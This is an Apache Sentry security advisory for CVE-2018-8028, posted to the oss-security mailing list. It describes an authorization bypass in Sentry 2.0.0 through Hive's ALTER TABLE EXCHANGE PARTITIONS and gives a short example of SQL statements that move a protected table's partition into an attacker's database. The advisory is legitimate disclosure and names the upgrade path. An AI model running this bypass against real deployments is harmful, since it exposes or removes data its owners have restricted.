[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAFbRtroTd0NqpWrCUunEBNgL6WGiTyz+eyBvDquy9oxa3zki=Q@mail.gmail.com>
Date: Thu, 23 Aug 2018 11:38:32 -0500
From: Sergio Peña <spena82@...il.com>
To: security@...try.apache.org, biglauer@...udera.com,
oss-security@...ts.openwall.com
Cc: dev@...try.apache.org
Subject: [SECURITY] CVE-2018-8028: Bypass ALTER TABLE EXCHANGE PARTITIONS
authorization for Hive
[SECURITY] CVE-2018-8028: Bypass ALTER TABLE EXCHANGE PARTITIONS
authorization for Hive
Severity:
Major
Vendor:
The Apache Software Foundation
Versions Affected:
This vulnerability affects only the version of Apache Sentry 2.0.0 due to
the introduction of
Hive 2.x.
Description:
An authenticated user can execute ALTER TABLE EXCHANGE PARTITIONS without
being authorized by Sentry.
This can allow an attacker unauthorized access to the partitioned data of a
Sentry protected table and can allow
an attacker to remove data from a Sentry protected table.
Mitigation:
Apache Sentry users using 2.0.0 should upgrade to 2.0.1 or later.
Example:
The admin has created the following table in a database that the attacker
doesn't have access to:
> CREATE TABLE target_database1.aliens (name string) PARTITIONED BY
(home_planet string, diet string);
> ALTER TABLE target_database1.aliens ADD PARTITION (home_planet='earth',
diet='milk shakes');
> ALTER TABLE target_database1.aliens ADD PARTITION
(home_planet='trapis-4', diet='sentient lifeforms with cheese');
The attacker has a database attacker_database, created as follows:
> CREATE TABLE attacker_database.data_stealer (name string) PARTITIONED BY
(home_planet string, diet string);
> ALTER TABLE attacker_database.data_stealer EXCHANGE PARTITION
(home_planet='earth', diet='milk shakes')
WITH TABLE target_database1.aliens;
The attacker now has access to all of the data in the target partitions
with the privileges available to them on attacker_database.
Credit:
This issue was discovered by Benjamin Iglauer of Cloudera.
References:
https://cwiki.apache.org/confluence/display/SENTRY/Vulnerabilities+found+in+Apache+Sentry
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
